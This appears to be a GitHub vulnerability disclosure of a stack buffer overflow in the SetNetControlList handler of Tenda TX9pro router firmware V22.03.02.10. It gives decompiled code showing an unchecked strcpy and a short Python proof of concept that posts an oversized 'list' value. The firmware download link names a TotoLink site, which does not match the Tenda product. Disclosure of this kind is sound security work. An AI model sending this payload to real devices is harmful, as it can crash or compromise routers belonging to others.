whiter6666 Update SetNetControlList.md History

1 contributor

33 lines (18 sloc) | 676 Bytes

buffer overflow

Tenda_TX9pro

version: V22.03.02.10

Description:

There is a buffer overflow in httpd/SetNetControlList

Source:

you may download it from : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

Analyse:

```
int __fastcall SetNetControlList(int a1)
{
  char *value; // $v0
  int v3; // $v0
  char v5[32]; // [sp+1Ch] [-28h] BYREF

  memset(v5, 0, sizeof(v5));
  value = get_value_(a1, (int)"list", (int)"");
  sub_43157C(value, '\n');
  signal(18, 1);
  v3 = fork();
  if ( !v3 )
  {
    set_tc_rule();
    exit(0);
  }
  if ( v3 > 0 )
  {
    sprintf(v5, "{\"errCode\":%d}", 0);
    sub_41B47C(a1, v5);
  }
  return _stack_chk_guard;
}
```

get value from list and send it to sub_43157C

```
int __fastcall sub_43157C(_BYTE *a1, int a2)
{
  _BYTE *v4; // $v0
  _BYTE *v5; // $s2
  int v6; // $s1
  int v8; // [sp+20h] [-254h] BYREF
  int v9; // [sp+24h] [-250h] BYREF
  int v10; // [sp+28h] [-24Ch]
  int v11[4]; // [sp+2Ch] [-248h] BYREF
  int v12[4]; // [sp+3Ch] [-238h] BYREF
  char v13[32]; // [sp+4Ch] [-228h] BYREF
  char v14[256]; // [sp+6Ch] [-208h] BYREF
  char v15[256]; // [sp+16Ch] [-108h] BYREF

  v8 = 0;
  memset(v14, 0, sizeof(v14));
  v9 = 0;
  v10 = 0;
  memset(v13, 0, sizeof(v13));
  memset(v11, 0, sizeof(v11));
  memset(v12, 0, sizeof(v12));
  memset(v15, 0, sizeof(v15));
  sub_4311EC();
  while ( 1 )
  {
    v4 = (_BYTE *)strchr(a1, a2);
    if ( !v4 )
      break;
    *v4 = 0;
    v5 = v4 + 1;
    memset(v14, 0, sizeof(v14));
    strcpy(v14, a1);
```

don't check the length of a1 and call strcpy

POC

```
url = "http://192.168.1.13/goform/SetNetControlList"
payload = 'A'*300 + '\n'

r = requests.post(url, data={'list': payload})
```